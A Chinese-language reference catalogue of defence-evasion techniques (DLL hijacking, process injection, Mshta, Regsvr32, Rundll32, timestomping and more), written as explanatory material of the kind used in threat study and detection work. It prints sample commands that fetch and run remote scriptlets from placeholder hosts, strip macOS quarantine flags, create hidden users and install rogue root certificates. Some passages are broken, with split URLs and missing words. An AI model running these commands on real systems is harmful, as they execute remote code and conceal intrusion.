DCShadow 是一种通过注册(或重用非活动的注册)和模拟域控制器 (DC) 行为来操作活动目录 (AD) 数据(包括对象和模式)的方法。 一旦完成注册 ,恶意 DC 就可以为任何域对象(包括凭据和密钥)在 AD 基础架构中注入和复制更改。 注册恶意 DC 需要在 AD 模式的配置 (Configuration ) 分区中创建一个新的服务器和 nTDSDSA 对象,这需要管理员权限(域或本地 DC) 或 KRBTGT 散列。 这种技术可能会绕过系统日志记录和安全监视器,比如安全信息和事件管理 (SIEM) 产品(因为可能不会向这些传感器报告在恶意 DC 上执行的操作)。 该技术还可用于修改和删除副本和其他相关元数据,以阻碍取证分析。 攻击者也可以使用这种技术来执行 SID 历史注入 (SID-History Injection) 和/或操作 AD 对象(如帐户、访问控制列表、模式)以建立用于持久化 (Persistence) 的后门。

DLL 搜索顺序劫持

Windows 系统使用常见方法来查找需要加载到程序中的 DLL。 攻击者可以利用 Windows DLL 搜索顺序和未明确指明 DLL 的程序来提权和持久化攻击。 攻击者可以执行 DLL 预加载,也称为二进制种植攻击 。执行该攻击的方式是将与未明确的 DLL 同名的恶意 DLL 放置到某一位置,这个位置在合法 DLL 所在位置前被 Windows 搜索到。 该位置通常是程序的当前工作目录。当程序在加载 DLL 之前将其当前目录设置为远程目录(如 Web 共享),会发生远程 DLL 预加载攻击。 攻击者可能会这样做使得程序加载恶意 DLL。 攻击者还可以通过替换现有 DLL 或修改。manifest 或。local 重定向文件,目录或 Junction 来直接修改程序加载 DLL 的方式,以使程序加载不同的 DLL 以持久化攻击或提权。 如果有 DLL 搜索顺序漏洞的程序配置为在更高的权限级别运行,则加载的由攻击者控制的 DLL 也将在更高级别执行。在这种情况下,该技术可用于从用户到管理员或 SYSTEM 或从管理员到 SYSTEM 的权限升级,具体取决于程序。 被路径劫持的程序可能看起来正常,因为可以配置 恶意 DLL 使其同时加载它们所替换的合法 DLL。

DLL 侧载

程序可以指定在运行时加载的 DLL。 不正确或模糊地指定所需 DLL 的程序可能会导致漏洞,从而加载非预期 DLL。 当 Windows Side-by-Side (WinSxS) 的 Manifests 对要加载的 DLL 的特征不够明确时,就会出现侧载漏洞。 攻击者可以利用易受侧载攻击的合法程序来加载恶意 DLL。 攻击者很可能使用这种技术来掩盖他们在合法的、可信的系统或软件进程下执行的操作。

反混淆/解码文件或信息

攻击者可能会混淆文件或信息来隐藏入侵的工件以避免检测。他们可能需要单独的机制来对信息解码或解混淆,这取决于打算使用的方式实现此目的的方法包括恶意软件的内置功能、脚本、PowerShell 或使用系统上提供的实用程序。 相关的例子是使用 certutil 对隐藏在证书文件中的远程访问工具的可移植性可执行文件进行解码。 另一个例子是使用 Windows copy /b 命令重新组装二进制片段成恶意的 payload。 可以压缩,存档或加密 payload 以避免检测。 这些 payload 可以在初始访问期间使用或稍后用于混淆文件或信息以减轻检测。 有时可能需要用户操作来打开它以在用户执行时进行解混淆或解密。 用户可能还需要输入密码来打开由攻击者提供的受密码保护的压缩/加密文件。 攻击者也可以使用压缩或归档的脚本,比如 Javascript。

禁用安全工具

攻击者禁用安全工具,以避免他们的工具和活动被检测到。可以采取以下形式:终止安全软件或事件日志记录流程、删除注册表项以便工具不会在运行时启动,或者使用其他方法干扰安全扫描或事件报告。

防御规避的利用

软件漏洞利用指的是攻击者利用程序,服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码。 防御性安全软件中可能存在漏洞,可用于禁用或绕过它们。 通过侦察,攻击者可能事先知道某个环境中存在的安全软件,或者在系统受到安全软件披露 (Security Software Discovery) 攻击期间或之后不久检查安全软件。 很可能将安全软件直接作为漏洞利用的目标。 为了避免被发现,一些持续性威胁组织以杀毒软件为目标。

额外窗口内存注入

在创建窗口之前,基于 Windows 的图形化进程必须规定或注册一个窗口类,它规定了外观和行为(通过 Windows 程序,它是处理数据输入/输出的函数)。
新窗口类的注册可以包括请求最多 40 个字节的额外窗口内存(EWM),以附加到该类的每个实例的分配的内存中。此 EWM 旨在存储该窗口的特定数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。

虽然很小,但 EWM 足以存储 32 位指针,通常用于指向 Windows 程序。恶意软件可能在攻击链的一部分中利用此内存位置,包括将代码写入进程内存的共享部分,在 EWM 中放置指向代码的指针,然后通过将执行控制返回到进程的 EWM 中的地址来调用执行。 通过 EWM 注入授权的执行可以在单独的实时进程的地址空间中进行。与进程注入类似,这允许访问目标进程的内存和潜在的高级权限。将 payload 写入共享部分还可以避免使用高度监控的 API 调用,例如 WriteProcessMemory 和 CreateRemoteThread。
更复杂的恶意软件样本也可能通过触发 Windows 程序和其他系统功能的组合来绕过保护机制,例如数据执行保护(DEP),这些功能将重写目标进程的可执行部分内的恶意负载。

文件删除

攻击者在系统上删除或创建的恶意软件,工具或其他非本机文件可能会留下关于在网络中执行的操作以及操作方式的痕迹。 攻击者可以在入侵过程中删除这些文件以减少留下的足迹,也可以在入侵后清理过程的最后删除它们。 主机操作系统的一些工具可以执行清理操作,但是攻击者也可以使用其他工具。 如本机 cmd 函数(如 DEL)、安全删除工具(如 Windows Sysinternals SDelete) 或其他第三方文件删除工具。

文件权限修改

文件权限通常由文件所有者指定的自由访问控制列表 (DACL) 管理。 文件 DACL 实现可能因平台而异,但通常明确指定哪些用户/组可以执行哪些操作(例如:读、写、执行等)。 攻击者可能会修改文件权限/属性以绕过预期的 DACL。 修改可能包括更改特定的访问权限,这可能需要获得文件的所有权和/或更高的权限,如管理员/root 权限,这取决于文件的现有权限,以允许恶意活动,如修改、替换或删除特定文件。 修改特定的文件可能是许多技术的必需步骤,例如通过辅助功能获得持久性特性 (Persistence via Accessibility Features)、登录脚本或 (Logon Scripts), 污染/劫持其他工具二进制/配置文件。

文件系统逻辑偏移

Windows 允许程序直接访问逻辑卷。具有直接访问权限的程序可以通过分析文件系统数据结构直接从驱动器读取和写入文件。此技术可以绕过 Windows 文件访问控制以及文件系统监视工具。 一些实用程序在 PowerShell 中执行这些操作,例如 NinjaCopy。

Gatekeeper 绕过

在macOS和OS X中,从Internet下载应用程序或程序时,在名为的文件上设置了特殊属性com.apple.quarantine。苹果的Gatekeeper防御程序会在执行时读取此属性,并向用户提示允许或拒绝执行。 从USB闪存驱动器,光盘,外部硬盘驱动器甚至从本地网络共享的驱动器加载到系统上的应用程序都不会设置此标志。此外,其他实用程序或事件(例如“路过”下载)也不一定要对其进行设置。这完全绕过了内置的Gatekeeper检查。
的检疫标志的存在可以通过XATTR命令检查xattr /path/to/MyApp.app了com.apple.quarantine。类似地,给定sudo访问权限或提升的权限,也可以使用xattr删除此属性sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app。 在典型操作中,文件将从互联网上下载并被隔离,然后保存到磁盘。当用户尝试打开文件或应用程序时,macOS的网守将介入并检查此标志的存在。如果存在,则macOS会提示用户确认他们要运行该程序,甚至会提供应用程序来源的URL。但是,所有这些都基于从隔离应用程序下载的文件。

HISTCONTROL

HISTCONTROL 环境变量记录 history 命令保存的内容,并用户注销时保存到 ~/.bash_history 中。可以通过设置该配置为"ignorespace",从而忽略以空格开头的命令。也可以通过设置"ignoredups"使 HISTCONTROL 忽略重复的命令。在一些 Linux 系统中默认设置 HISTCONTROL 为"ignoreboth",它包括了前面的两个示例。这意味着不会保存" ls",但是"ls"将被 history 保存。默认情况下 HISTCONTROL 不在 macOS 上,但可以由用户设置,并受到尊重。­攻击者可以利用此进行操作而不留下任何痕迹,只需在所有终端命令前添加一个空格。

隐藏文件和隐藏目录

为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(dir/a对于Windows以及ls –a的Linux和macOS)明确要求显示隐藏文件。 攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,以实现持久性,并逃避不包含对隐藏文件的调查的典型用户或系统分析。

隐藏用户

macOS 中的每个用户帐户都有一个与之关联的用户 ID。 在创建用户时,可以为该帐户指定用户 ID。 /Library/Preferences/com.apple.loginwindow 的 Hide500Users 属性可以在登录屏幕上隐藏用户 ID 500 及以下的用户。 通过创建用户 ID 小于 500 的账户并启用此属性(将其设置为 Yes),攻击者可以更容易地隐藏其用户帐户:sudo dscl . -create /Users/username UniqueID 401 。

隐藏窗口

属性列表 (plist) 文件中包含了应用程序在 macOS 和 OS X 上运行的配置列 apple.awt.UIElement 是这些文件的一个标签,它允许 Java 应用程序阻止应用程序的图标出现在 Dock 中。 当应用程序在系统托盘中运行但又不想在 Dock 中显示时,通常使用这种方法。 然而,攻击者可以滥用这个特性并隐藏他们的运行窗口 。

图像文件执行选项注入

图像文件执行选项(IFEO)使开发人员可以将调试器附加到应用程序。创建进程后,应用程序IFEO中存在的调试器将以该应用程序的名称为前缀,从而在调试器下有效地启动新进程(例如,“ C:\dbg\ ntsd.exe -g notepad.exe”)。

拦截指示器

攻击者可能试图拦截指示器或通常被传感器捕获的事件以避免被收集和分析。 这可能包括修改存储在配置文件和/或注册表项中的传感器设置,以禁用或恶意重定向事件遥测。 在基于网络的指示器报告的情况下,攻击者可能阻止与报告相关的流量以防止集中分析。 这可以通过许多方法来实现,例如停止负责转发遥测的本地进程和/或创建基于主机的防火墙规则,以阻止对负责聚合事件(如安全信息和事件管理 (SIEM) 产品)的特定主机的通信。

删除工具中的指示器

如果恶意工具被检测到并隔离或以其他方式限制,攻击者或许可以确定恶意工具被检测到的原因(指示器), 攻击者通过删除指示器来修改工具,并使用更新后的版本,该版本不再被当前目标或随后的可能使用类似系统的目标的防御系统检测到。 一个恰当的例子是,恶意软件的文件签名被检测到并被防病毒软件隔离。确定恶意软件因为其文件签名而被隔离的攻击者可以使用软件打包或以其他方式修改文件,使其具有不同的签名,然后重用该恶意软件。

删除主机上的指示器

攻击者可能会删除或更改主机系统上生成的工件,包括日志和可能被捕获的文件,如隔离的恶意软件。 日志的位置和格式会有所不同,但典型的有机系统日志会作为 Windows 事件或 Linux/macOS 文件被捕获,如 Bash History 和/var/log/*。 干扰事件和其他可用于检测入侵活动的通知的操作可能会损害安全解决方案的完整性,导致无法报告事件。 这些操作也可能使取证分析和事件响应更加困难,因为缺乏足够的数据来确定发生了什么。

间接命令执行

可以使用各种 Windows 实用程序执行命令而不需要调用 cmd。 例如,Forfiles、程序兼容性助手、适用于 Linux 的 Windows 子系统 (WSL) 的组件以及其他实用程序可以通过命令行界面、运行窗口或脚本执行程序和命令。 攻击者可能会滥用这些实用程序来规避防御,特别是为了任意执行而破坏用于限制/阻止 cmd 使用的检测和/或缓解措施(如组策略)。

安装根证书

根证书在公钥加密中用于标识根证书颁发机构 (CA)。 安装根证书后,系统或应用程序将信任由根证书签名的根信任链中的证书。 证书通常用于在 Web 浏览器中建立安全的 TLS / SSL 通信。 当用户试图浏览不可信证书的网站时,将显示错误消息以警告用户安全风险。 浏览器可能不允许用户与网站建立连接,取决于安全设置。 在被攻击的系统上安装根证书会提供攻击者一种降低该系统安全性的方式。 当被攻击的系统通过 HTTPS 连接到攻击者控制的欺骗合法网站以收集登录凭据的 web 服务器时,攻击者使用该技术来避免出现提示用户的安全警告。 非典型根证书也已由制造商或在软件供应链阶段预先安装在系统上,并与恶意软件/广告软件结合使用,以提供拦截通过安全 TLS / SSL 通信传输的信息的中间人功能。 还可以克隆和重新安装根证书(及其相关链)。 克隆的证书链将携带许多与源相同的元数据特征,可用于签署恶意代码,这可以绕过签名验证工具(例如: Sysinternals, antivirus, etc.) 用于阻止执行和/或发现持久化组件。 在 macOS 中,Ay MaMi 恶意软件使用/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/ keychain /System 将恶意证书作为受信任的根证书安装到系统密钥链中。

InstallUtil

InstallUtil 是一个命令行实用程序,它允许通过执行。net 二进制文件中指定的特定安装程序组件来安装和卸载资源。 InstallUtil 位于 Windows 系统的。NET 目录中: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe 和C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe 具有 Microsoft 的数字签名。 攻击者可以通过受信的 Windows 实用程序使用 InstallUtil 来代理代码的执行。 通过利用执行由
修饰的类的二进制文件中的属性,InstallUtil 还可用于来绕过进程白名单。

LC_MAIN劫持

从OS X 10.8开始,mach-O二进制文件引入了一个名为LC_MAIN的新头文件,该头文件指向二进制文件的执行入口。以前,有两个标头可实现相同的效果:LC_THREAD和LC_UNIXTHREAD。二进制文件的入口点可以被劫持,从而使初始执行流到恶意添加项(另一个部分或代码入口),然后返回到初始入口点,以使受害者不知道有什么不同。通过以这种方式修改二进制文件,可以绕过应用程序白名单,因为文件名或应用程序路径仍然相同。

Launchctl

Launchctl 控制 macOS 的启动进程,该进程处理诸如启动代理和启动守护进程之类的事情,但是可以自己执行其他命令或程序。 Launchctl 支持交互地在命令行上获取子命令,甚至可以从标准输入重定向。 通过加载或重新加载启动代理或启动守护进程,攻击者可以获得持久性或执行他们 所做的更改。 从 launchctl 运行命令就像 launchctl submit -l - /Path/to/thing/to/execute "arg" "arg" "arg" "arg"一样简单。 可能需要提升特权才可以加载、卸载或重新加载启动代理或启动守护进程。 如果系统允许 launchctl,攻击者可以滥用此功能来执行代码,甚至绕过白名单。

伪装

伪装是指攻击者为了规避防御和观察而篡改或滥用可执行文件(合法或恶意)的名称或位置。目前已经发现该技术的几种不同变体。 一种变体是将可执行文件放在一般可信目录中,或将其命名为合法可信程序的名称。另外,设置的文件名可能与合法程序的很像。这样做是为了绕过那些依赖文件名或路径来判断可执行文件是否可信的工具,同时将某一文件的名字与合法的东西相关联,从而使防御者和系统管理员误以为该文件是良性。 A.Windows 在该技术的另一个变体中,攻击者可以使用合法实用程序的重命名副本,例如 rundll32.exe。 当合法实用程序移动到另一个目录并重命名以避免基于系统实用程序的检测(程序从非标准路径执行)会出现另一种情况。 在 Windows 中滥用可信位置的例子是C:\Windows\System32目录。可以将恶意二进制文件命名为可信二进制文件的名称,如“explorer.exe”和“svchost.exe”。 B.Linux 此技术的另一种变体包括某些恶意二进制文件,它们不是在启动之前,而是在启动后将其运行进程的名称更改为可信或良性进程的名称。 在 Linux 中滥用可信位置的一个示例是/bin目录。可以将恶意二进制文件命名为可信二进制文件的名称,如“rsyncd”和“dbus-inotifier”。

修改注册表

攻击者可以与 Windows 注册表交互以隐藏注册表项中的配置信息,删除信息作为清理的一部分,或者作为其他技术的一部分,帮助实现持久化和执行。 对注册中心特定区域的访问取决于帐户权限,有些需要管理员级别的访问权限。 内置的 Windows 命令行实用程序 Reg 可用于本地或远程修改注册表。 也可以使用其他工具,如远程访问工具,这些工具可能包含通过 Windows API 与注册表交互的功能(参见示例)。 注册表修改还可能包括用于隐藏键的操作,例如使用空字符添加键,这会引发错误和/或在通过 Reg 或其他使用 Win32 API 的实用程序读取时忽略该键。 攻击者可能会滥用这些伪隐藏密钥来隐藏用于建立持久性的 payload/命令。 可以修改远程系统的注册表以帮助执行文件,作为横向移动的一部分。 它要求远程注册表服务在目标系统上运行。 此技术通常需要有效帐户,以及访问远程系统的 Windows 管理共享来进行 RPC 通信。

Mshta

Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序。 HTA 文件的扩展名是 .hta。 HTAs 是独立的应用程序,使用与 Internet Explorer 的相同模型和技术执行,但不在浏览器内。 攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意。hta 文件和 Javascript 或 VBScript。 已有几个在初始攻击和代码执行阶段利用 mshta.xe 的不同类型的威胁样例。 文件可以由 mshta.exe 通过内联脚本执行:mshta vbscript:Close(Execute(“GetObject(”“script:https
//webserver/payload
sct”“)”)) 也可以直接通过 URL: mshta http
//webserver/payload
hta 执行 Mshta.exe 可用于绕过允许其运行的应用程序白名单解决方案。 因为 mshta.exe 在 Internet Explorer 的安全上下文外执行,它还绕过浏览器的安全设置。

NTFS 文件属性

每个 New Technology File System(NTFS) 格式化的分区都包含一个主文件表 (MFT),它为分区上的每个文件/目录维护一条记录。在 MFT 条目中有文件属性, 如扩展属性(EA)和数据
,可用于存储任意数据(甚至完整的文件)。 攻击者可以将恶意数据或二进制文件存储在文件属性元数据中,而不是直接存储在文件中。这可以用来规避一些防御,例如静态指示器扫描工具和防病毒。

网络共享连接移除

当不再需要时,可以删除 Windows 共享驱动器和 Windows 管理共享连接。 Net 是示例实用程序,可以用于通过 net use \system\share /delete 命令删除网络共享连接。 攻击者可以删除无用的共享连接,以清除其操作的痕迹。

混淆的文件或信息

攻击者可能尝试通过在系统上或传输中加密,编码或以其他方式混淆其内容来使得可执行文件或文件难以发现或分析。这是常见的用于规避防御的行为,可以在不同平台和网络中使用。 攻击者可以压缩,存档或加密 Payload 以避免检测。在初始访问期间或之后使用这些 Payload 可以降低被检测到的概率。在用户执行阶段时,可能需要用户打开和反混淆/解码文件或信息。还可能要求用户输入密码以打开由攻击者提供的受密码保护的压缩/加密文件。 攻击者还可以使用压缩或归档的脚本,例如 Javascript。 还可以对部分文件进行编码以隐藏纯文本字符串,否则这些字符串将有助于防御者的发现。 也可以将 Payload 分成独立的,看似良性的文件,只有在重新组合时恶意功能才会显示。 攻击者还可以混淆 在 Payload 中或直接通过命令行界面执行的命令。混淆环境变量,别名,字符和其他平台/语言特定语义可规避基于签名的检测和白名单机制。 另一个混淆的例子隐写术,一种隐藏图像,音轨,视频剪辑或文本文件中的消息或代码的技术。最早为人所知的和报道的攻击者使用围绕 Invoke-PSImage 的隐写术。Duqu 恶意软件从受害者的系统中加密收集的信息并将其隐藏到图像中,然后将图像窃取到 C2 服务器。 到 2017 年底,一个攻击者组织使用 Invoke-PSImage 将 PowerShell 命令隐藏在图像文件(png)中,并在受害者系统上执行代码。在这种特殊情况下,PowerShell 代码包含了了另一个混淆的脚本,以从受害者的机器收集情报并将其传回给攻击者。

修改 Plist

属性列表 (plist) 文件包含 macOS 和 OS X 中应用程序和服务所有配置信息。 这些文件采用 UTF-8 编码并像 XML 文档一样通过一系列由<>包围的键来格式化。 它们详细说明了程序应该在何时执行、可执行文件的路径、程序参数、所需的操作系统权限以及许多其他内容。plists 位于特定的位置,这取决于它们的用途,例如 /Library/Preferences(使用高级特权执行)和/Library/Preferences(使用用户的特权执行)。 攻击者可以修改这些 plist 文件以指向自己的代码,可以利用它们在另一个用户的上下文中执行自己的代码,可以绕过白名单,甚至可以利用它们实现持久化。

端口试探

端口试探是一种较为成熟的技术,目的是隐藏开放的端口以控制访问,攻击者和防御者均可使用。 为了启用端口,攻击者需发送一系列具有特定特征的数据包。 通常,这些数据包包含关闭端口预定义的尝试序列(译者注:称为敲门序列),这可能涉及不常见的标志、特定的字符串或其他特征。 完成序列,通常由基于主机的防火墙开启端口,但也可以由自定义软件打开。 在动态开启监听端口和在不同系统上启动与监听服务器的连接时,都可以见到该技术。 可以通过不同的方法观察引发通信的数据包。 一种方法(最初由 Cd00r 实现)是使用 libpcap 库嗅探有问题的包。 另一种方法利用了原始套接字,这使得恶意软件可以使用供其他程序使用的开放端口。

Process Doppelgänging

Windows 事务性 NTFS (TxF) 作为一种执行安全文件操作的方法引入 Vista。 为了确保数据的完整性,TxF 在给定的时间只允许一个事务句柄写文件。 在写句柄事务终止之前,其他所有句柄都与写句柄隔离,只能读取打开写句柄时已提交的文件版本。 为了避免损坏,如果系统或应用程序在写事务期间失败,TxF 将自动执行回滚。 尽管不宜使用 TxF 应用程序编程接口 (API),但在 Windows 10 中仍然启用了。 攻击者可以利用 TxF 来执行进程注入 (Process Injection) 的无文件变体,即 Process Doppelgänging。 与进程镂空 ( Process Hollowing) 类似,Process Doppelgänging 涉及替换合法进程的内存,实现可能规避防御和检测的恶意代码的隐藏执行。 Process Doppelganging 利用 TxF 时还避免使用被高度监控的 API 函数,如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext。 Process Doppelgänging 分 4 步实现,: A.事务:使用合法可执行文件创建 TxF 事务,然后使用恶意代码覆盖该文件。 这些更改将被隔离,并且仅在事务上下文中可见。 B.加载:创建共享内存段并加载恶意可执行文件。 C.回滚:撤消对原始可执行文件的更改,有效地从文件系统中删除恶意代码。 D.Animate:从受污染的内存段创建进程并启动执行。

进程镂空

进程镂空指的是创建一个挂起的进程,取消其内存映射并替换成恶意代。与进程注入类似,恶意代码的执行也隐藏在合法进程之下,可以规避防御和检测分析。

进程注入

进程注入是一种在独立活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码会允许代码访问进程的内存、系统/网络资源,以及可能提升的特权。由于合法进程掩盖了(注入进程的)执行,因此通过进程注入执行也可规避对安全产品的检测。 A.Windows 将代码注入实时进程有多种方法。Windows 下的实现包括: - 动态链接库 (DLL) 注入涉及在进程中写入恶意 DLL 的路径,然后通过创建远程线程调用执行。 - 可移植性可执行注入包括将恶意代码直接写入进程(磁盘上没有文件),然后使用附加代码或创建远程线程调用执行。注入代码的替换要求重新映射内存引用。这种方法的变体,如反射 DLL 注入(将自映射 DLL 写入进程)和内存模块(写入进程时映射 DLL),解决了了地址重定位问题。 - 线程执行劫持涉及将恶意代码或 DLL 路径注入进程的线程。与进程镂空类似,首先必须挂起线程。 - 异步过程调用 (APC) 注入涉及将恶意代码附加到进程线程的 APC 队列 。当线程进入可变状态时,执行在 APC 队列的函数。APC 注入的一种变体为"Early Bird 注入",它涉及到创建一个挂起的进程,在进程的入口点(以及可能随后的反恶意软件钩子)之前,通过 APC 编写和执行恶意代码。 AtomBombing 是另一种变体,它利用 APC 调用以前编写到全局原子表的恶意代码。 - 线程本地存储 (TLS) 回调注入涉及操作可移植性可执行文件 (PE) 中的指针,以便在到达代码的合法入口点之前将进程重定向到恶意代码。 B.Mac 和 Linux Linux 和 OS X/macOS 系统的实现包括: - LD_PRELOAD、LD_LIBRARY_PATH (Linux)、DYLD_INSERT_LIBRARIES (Mac OS X) 环境变量或 dlfcn 应用程序编程接口 (API) 可用于动态加载进程中的库(共享对象),该库可用于拦截运行进程中的 API 调用。 - Ptrace 系统调用可用于附加到正在运行的进程并在运行时修改它。 - /proc/
/mem 提供对进程内存的访问,可用于对进程读写任意数据。因其复杂性,该技术十分少见。 - VDSO 劫持通过操作 linux-vdso.so 共享对象映射的桩代码,在 ELF 二进制文件上执行运行时注入。 恶意软件通常利用进程注入来访问系统资源,通过这些资源可以获得持久性和修改其他环境。 更复杂的示例:使用命名管道或其他进程间通信 (IPC) 机制作为通信通道,执行多进程注入来分割模块并进一步规避检测。

冗余访问

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来凭借外部可访问的 Web 服务器维持对某一网络的访问权限。

Regsvcs/Regasm

Regsvcs 和 Regasm 是 Windows 命令行实用程序,用于注册。NET 组件对象模型 (COM) 程序集。 两者都是由 Microsoft 进行数字签名的。 攻击者可以使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序代理代码的执行。 这两个实用程序都可以通过使用二进制文件中的属性来指定在注册或取消注册前应运行的代码,从而绕过白名单: 分别为

。 具有注册和取消注册属性的代码将被执行,即使进程在权限不足的情况下运行且无法执行。

Regsvr32

Regsvr32.exe 是一个命令行程序,用于在 Windows 系统上注册和取消注册对象链接和嵌入控件,包括动态链接库 (DLLs)。 Regsvr32.exe 可用于执行任意二进制文件。 攻击者可以利用此功能来代理代码的执行,以避免触发安全工具,由于 Windows 使用 regsvr32.exe 进行正常操作时的白名单或误报,这些工具可能无法监视 regsvr32.exe 进程的执行和加载的模块。 Regsvr32.exe 也是 Microsoft 签名的二进制文件。 Regsvr32.exe 还可以利用加载 COM scriptlet 以在用户权限下执行 DLL 的功能来绕过进程白名单。 由于 regsvr32.exe 支持网络和代理,因此可以通过在调用期间将统一资源定位符 (URL) 作为参数传递到外部 Web 服务器上的文件来加载脚本。 此方法不对注册表做任何更改,因为 COM 对象实际未注册,仅执行。 该技术的变体通常被称为“Squiblydoo”攻击,并已用于针对政府的活动中。 还可以利用 Regsvr32.exe 来注册用于通过组件对象模型劫持(Component Object Model Hijacking)建立持久性的 COM 对象。

Rootkit

Rootkit 是通过拦截(即 Hooking)和修改提供系统信息的操作系统 API 调用来隐藏恶意软件存在的程序。 Rootkit 或 rootkit 启用功能可以驻留在操作系统中的用户或内核级别或更低级别,以包括 Hypervisor,主引导记录或系统固件。 攻击者可以使用 rootkit 来隐藏程序,文件,网络连接,服务,驱动程序和其他系统组件。Rootkit 已经在 Windows,Linux 和 Mac OS X 系统出现过。

Rundll32

可以调用 rundll32.exe 程序来执行任意二进制文件。由于 Windows 使用 rundll32.exe 进行正常操作时会有白名单或误报,攻击者可以利用此功能来代理代码的执行,以避免触发可能未监控 rundll32.exe 进程执行的安全工具的检测。­ Rundll32.exe 可通过未记录的 shell32.dll 的 Control_RunDLL 和 Control_RunDLLAsUser 函数来执行控制面板项文件(.CPL)。双击。cpl 文件也可以执行 rundll32.exe。Rundll32 也可用于执行 JavaScript 等脚本。这可以使用类似的语法来完成:rundll32.exe javascript: " ..,RunHTMLApplication ";document.write();GetObject("script:https
/www
example
. com malicious.sct ")"在恶意软件(例如 Poweliks)中已有这种行为。

SIP和信任提供者劫持

在用户模式下,Windows Authenticode 数字签名用于验证文件的来源和完整性,这些变量可用于建立对签名代码的信任(例如:可以将具有有效Microsoft签名的驱动程序视为安全的)。签名验证过程是通过WinVerifyTrust应用程序编程接口(API)函数处理的,该函数 接受查询并与负责验证签名参数的适当信任提供者进行协调。 由于可执行文件的类型和相应的签名格式各不相同,Microsoft创建了称为主题接口包(SIP)软件组件,以在API函数和文件之间提供抽象层。SIP负责使API函数能够创建,检索,计算和验证签名。大多数文件格式(可执行文件,PowerShell,安装程序等,都具有唯一的SIP,目录签名提供了一个包罗万象的 ),并且由全局唯一标识符(GUID)标识。

脚本

攻击者可以使用脚本来帮助操作并执行多个操作,否则需要手动执行这些操作。脚本编写对于加速操作任务和减少访问关键资源所需的时间非常有用。一些脚本语言可以通过API与操作系统交互而不是调用其他程序来绕过进程监控机制。Windows的常用脚本语言包括VBScript和PowerShell,但也可以采用命令行批处理脚本的形式。 脚本可以作为宏嵌入到Office文档中,当打开鱼叉式钓鱼附件和其他类型的鱼叉式钓鱼的文件时,可以执行这些宏。恶意的内嵌宏是一种替代的执行方式,而不是利用客户端执行技术(Exploitation for Client Execution)来利用软件,在客户端执行中,攻击者将依赖于允许使用的macos或者用户愿意激活它们。 存在许多流行的攻击框架,它们使用与安全测试人员和攻击者脚本相似的形式。、和PowerSploit是在渗透测试人员中常见的用于攻击和后渗透攻击操作的三个例子,其中包括许多用于规避防御的功能。已知一些攻击者使用PowerShell。

签名的二进制代理执行

具有可信数字证书签名的二进制文件可以在受数字签名验证保护的 Windows 系统上执行。 Windows 安装中默认的几个 Microsoft 签名二进制文件可以用于代理其他文件的执行。 攻击者可能会滥用此行为来执行恶意文件,从而绕过系统上的应用程序白名单和签名验证。 该技术考虑了在现有技术中尚未考虑的代理执行方法。

签名脚本代理执行

具有可信证书签名的脚本可用于代理恶意文件的执行。 这种行为可能会绕过签名验证限制和不考虑这些脚本的应用程序白名单解决方案。 由 Microsoft 签名的 PubPrn.vbs 可用于代理远程站点的执行。 示例命令:cscript C
\Windows\System32\Printing_Admin_Scripts\en-US\pubprn
vbs 127.0.0.1 script:http
//192.168.1.100/hi.png 还有一些其他签名脚本可以以类似的方式使用。

软件打包

软件打包是一种压缩或加密可执行文件的方法。打包可执行文件会更改文件签名,以避免基于签名的检测。大多数解压缩技术将内存中的可执行代码解压缩。 用于执行软件打包的实用程序称为打包程序。例如 MPRESS 和 UPX。已有广泛的打包程序列表 ,但攻击者可以创建自己的打包技术,这些技术不会像众所周知的打包程序那样留下相同的工件,以规避防御。

文件名后的空格

攻击者可以通过更改文件的扩展名来隐藏程序的真正文件类型。对于某些文件类型(特别地,对于拓展名。app 并不适用),在文件名后面追加一个空格将改变操作系统处理该文件的方式。例如,如果有一个名为 evil.bin 的 Mach-O 可执行文件,当用户双击时,它会启动 Terminal.app 并执行。如果该文件被重命名为 evil.txt。然后,当用户双击时,它将启动默认的文本编辑应用程序(不执行二进制文件)。但是,如果文件被重命名为"evil.txt "(注意文件名后的空格)。然后当用户双击时,真正的文件类型取决于操作系统,文件会被恰当处理,同时对应的二进制文件将被执行 。 攻击者可以利用这个特性欺骗用户双击任何格式的看起来友好的文件,并最终执行一些恶意的操作。

模板注入

Microsoft的Open Office XML(OOXML)规范为Office文档(.docx,xlsx,.pptx)定义了一种基于XML的格式,以替换较旧的二进制格式(.doc,.xls,.ppt)。OOXML文件打包在一起,是由各种XML文件(称为部分)构成的ZIP归档文件,其中包含共同定义文档呈现方式的属性。 零件内的属性可以引用通过在线URL访问的共享公共资源。例如,模板属性引用一个文件,该文件用作预先格式化的文档蓝图,该文件在加载文档时获取。 攻击者可能会滥用该技术来最初隐藏要通过文档执行的恶意代码即Scripting(T1064))。加载到文档中的模板引用可以使恶意有效载荷能够在加载文档时获取并执行。这些文档可以通过其他技术(例如,鱼叉式附件(T1193)和/或污染共享内容)(T1080)进行传递,并且由于没有典型的指示符(VBA宏,脚本等),直到获取了恶意有效载荷之后,才可以避开静态检测。在野外已经看到了一些示例,在这些示例中,模板注入被用来加载包含漏洞的恶意代码。

Timestomp

Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。

